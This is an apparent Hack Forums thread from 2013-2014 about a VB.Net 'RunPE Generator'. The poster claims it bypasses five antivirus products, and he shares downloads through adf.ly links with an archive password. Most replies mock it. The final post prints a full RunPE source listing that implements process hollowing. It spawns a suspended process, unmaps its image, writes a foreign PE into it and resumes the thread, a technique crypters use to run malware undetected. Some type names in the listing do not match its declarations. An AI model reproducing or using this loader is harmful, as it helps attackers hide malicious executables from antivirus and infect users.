

Forum:[Hack Forums](#)

Thread: [VB.Net RunPE Generator \[source + Bin \] work on 32 -64 bit](#)

alaabawaneh3 - January 3, 2013, 4:44 am

hi HF

Bawaneh RunPE Generator
[Screenshot]

[img]<http://4.bp.blogspot.com/-vgePJvdBsGY/UOVTCup5fFI/AAAAAAAAABw/LK4pC0cvpHE/s1600/brp+copy.jpg>[img]

What you can learn:

- 1) How to generator Random String .
- 2) How to use RichTextBox

Coded by me

thx to simon-benyo for smrunPE
and theme coder i can't find his name

[how to use]

youtube : <http://adf.ly/GqQXL>

Download : <http://adf.ly/GqSEU>

RAR Password : bawa3nehst.blogspot.com

Sorry For Adf.ly but i need l33t
and sorry for my bad english?

tweety - January 3, 2013, 4:48 am

This isn't a RunPE Generator. All it does is change the string names. Easy as shit and serves no purpose.

alaabawaneh3 - January 3, 2013, 4:51 am

(Jan 3, 2013 05:48 AM)Tweety. Wrote: [\[CITE\]](#) This isn't a RunPE Generator. All it does is change the string names. Easy as shit and serves no purpose.

no i change api function to dynamic api After this bypass 5 AV

sh@rp - January 3, 2013, 5:56 am

The main form has been coded by BlackCap (If I remember correctly...)...;)

TrackPro+ - January 3, 2013, 6:06 am

Omg, tank you m4n , you iz a L33T H4X0R. <3n iT !

BCuz - January 3, 2013, 6:10 am

its old version of Deumos Theme by Aeon

alaabawaneh3 - January 4, 2013, 5:43 am

thx all ..? ? ?

ultra64 - January 4, 2013, 2:29 pm

Uploader this runpe pleas

link not work

fjallis - January 4, 2013, 4:04 pm

Oh my god.... What tha hell is this?

/facepalm..

Pumpkins - January 4, 2013, 4:49 pm

Archive is Encrypted or Password Protected

The file you attempted to download is an archive that is encrypted or password protected. MediaFire does not support unlimited downloads of encrypted or password protected archives and the limit for this file has been reached. MediaFire understands the need for users to transfer encrypted and secured files, we offer this service starting at \$1.50 per month.

We have informed the owner that sharing of this file has been limited and how they can resolve this issue.

Still have questions or do you think we've made an mistake? Check our knowledge base for more information or contact us about it.

.cYRil. - August 11, 2013, 3:06 pm

?I need Source code of your pro if you don't mind ?

tweety - August 11, 2013, 3:13 pm

(Aug 11, 2013 03:06 PM)Hellgate Wrote: [\[CITE\]](#) ?I need Source code of your pro if you don't mind ? You want the source for something that does [String].Replace()? Why not just PM the OP and ask for it instead of grave digging this ancient, hideous thread? Did it occur to you to check when the OP was last online?.. ???

7H3 3XP3R7 - October 20, 2013, 4:11 am

i see many shit Replies here hehe WTF

TheBarret - October 20, 2013, 7:57 am

(Jan 3, 2013 05:48 AM)Tweety. Wrote: [\[CITE\]](#) This isn't a RunPE Generator. All it does is change the string names. Easy as shit and serves no purpose.

<https://hackforums.net/showthread.php?tid=3815024>

Copy\paste culture at its finest.

marmalade57 - November 18, 2013, 9:02 am

Thanks maqte...got it elsewhere and with a little tinkering works ok

anonymous.1.sy - November 9, 2014, 6:46 am

thx man and big thanks 4 simon good luck

sultanooo - November 9, 2014, 2:13 pm

the download link doesn't work please re-upload it again

Dont bother downloading that crap, the source can be learnful, but if you want to learn grab a PE Header documentation and look at "Aeonhack's" RunPE.

Here's Bawneeh's original clean source:

```
Code Public Declare Function apii9 Lib "kernel32" Alias "LoadLibraryA" (ByVal name As String) As
IntPtr
Public Declare Function apii0 Lib "kernel32" Alias "GetProcAddress" (ByVal handle As IntPtr,
ByVal name As String) As IntPtr
Function CreateAPI(Of T)(ByVal name As String, ByVal method As String) As T
Return DirectCast(DirectCast(Marshal.GetDelegateForFunctionPointer(apii0(apii9(name),
method), GetType(T)), Object), T)
End Function
Delegate Function apii1(ByVal hThr As IntPtr, ByVal CNTXT As UInteger()) As
<MarshalAs(UnmanagedType.Bool)> Boolean
Delegate Function apii2(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr) As UInteger
Delegate Function apii3(ByVal hProc As IntPtr, ByVal baseAddr As IntPtr, ByRef bufr As IntPtr,
ByVal bufrSS As Integer, ByRef numRead As IntPtr) As <MarshalAs(UnmanagedType.Bool)>
Boolean
Delegate Function apii4(ByVal hThread As IntPtr, ByVal SC As IntPtr) As UInteger
Delegate Function apii5(ByVal hThr As IntPtr, ByVal CNTXT As UInteger()) As
<MarshalAs(UnmanagedType.Bool)> Boolean
Delegate Function apii6(ByVal hProc As IntPtr, ByVal addr As IntPtr, ByVal SS As IntPtr, ByVal
allocType As Integer, ByVal prot As Integer) As IntPtr
Delegate Function apii7(ByVal hProcess As IntPtr, ByVal VABA As IntPtr, ByVal lpBuffer As
Byte(), ByVal nSS As UInteger, ByVal NOBW As Integer) As Boolean
Public Declare Auto Function apii8 Lib "kernel32" Alias "CreateProcessW" (ByVal appName As
String, ByVal commandLine As String, ByVal PTA As IntPtr, ByVal thrAttr As IntPtr,
<MarshalAs(UnmanagedType.Bool)> ByVal inherit As Boolean, ByVal creation As Integer, ByVal
env As IntPtr, ByVal curDir As String, ByVal sInfo As Byte(), ByVal pInfo As IntPtr()) As
<MarshalAs(UnmanagedType.Bool)> Boolean
Private Function ReadPtr(ByVal IPtr As Long, Optional ByVal ISS As Long = &H4) As Integer
Dim IRes As IntPtr
Dim IBr As Integer
Dim api4 As apii3 = CreateAPI(Of apii3)("ntdll", "NtReadVirtualMemory")
Call api4(Process.GetCurrentProcess.Handle, IPtr, IRes, ISS, IBr)
Return IRes
End Function
Public Function iExec(ByVal Buffbawa As Byte(), ByVal sExe As String) As Boolean
Try
Dim hGC As GCHandle = GCHandle.Alloc(Buffbawa, GCHandleType.Pinned) : Dim
hModuleBase As Integer = hGC.AddrOfPinnedObject : hGC.Free()
Dim PTA As IntPtr = IntPtr.Zero
Dim tPI As IntPtr() = New IntPtr(3) {}
Dim tSI As Byte() = New Byte(67) {}
Dim N2 As Integer = BitConverter.ToInt32(Buffbawa, 60)
Dim IB As Integer
Dim CNTXT As UInteger() = New UInteger(178) {}
CNTXT(0) = &H10002
apii8(Nothing, New StringBuilder(sExe), PTA, PTA, False, 4, PTA, Nothing, tSI, tPI)
Dim hPE As Integer = (hModuleBase + ReadPtr(hModuleBase + &H3C))
IB = ReadPtr(hPE + &H34)
```

```

Dim api3 As api2 = CreateAPI(Of api2)("ntdll", "NtUnmapViewOfSection")
api3(tPI(0), IB)
Dim api7 As api6 = CreateAPI(Of api6)("kernel32", "VirtualAllocEx")
Dim VABA As IntPtr = api7(tPI(0), IB, ReadPtr(hPE + &H50), &H3000, &H40)
Dim SA As New IntPtr(BitConverter.ToInt32(Buffbawa, N2 + &H34))
Dim SS As New IntPtr(BitConverter.ToInt32(Buffbawa, N2 + 80))
Dim WRET As Integer
Dim NOBW As Integer
Dim api8 As api7 = CreateAPI(Of api7)("ntdll", "NtWriteVirtualMemory")
api8(tPI(0), VABA, Buffbawa, CUInt(CInt(ReadPtr(hPE + &H54))), WRET)
For i = 0 To ReadPtr(hPE + &H6, 2) - 1
Dim Destination As Integer() = New Integer(9) {}
Buffer.BlockCopy(Buffbawa, (N2 + &HF8) + (i * 40), Destination, 0, 40)
Dim B2 As Byte() = New Byte((Destination(4) - 1)) {}
Buffer.BlockCopy(Buffbawa, Destination(5), B2, 0, B2.Length)
SS = New IntPtr(VABA.ToInt32() + Destination(3))
SA = New IntPtr(B2.Length)
api8(tPI(0), SS, B2, CUInt(SA), NOBW)
Next i
Dim api2 As api1 = CreateAPI(Of api1)("ntdll", "NtGetContextThread")
api2(tPI(1), CNTXT)
api8(tPI(0), CNTXT(41) + &H8, BitConverter.GetBytes(VABA.ToInt32()), CUInt(&H4), NOBW)
CNTXT(&H2C) = IB + ReadPtr(hPE + &H28)
Dim api6 As api5 = CreateAPI(Of api5)("ntdll", "NtSetContextThread")
api6(tPI(1), CNTXT)
Dim api5 As api4 = CreateAPI(Of api4)("ntdll", "NtResumeThread")
api5(tPI(1), 0)
Catch ex As Exception
Return False
End Try
Return True
End Function
End Class

```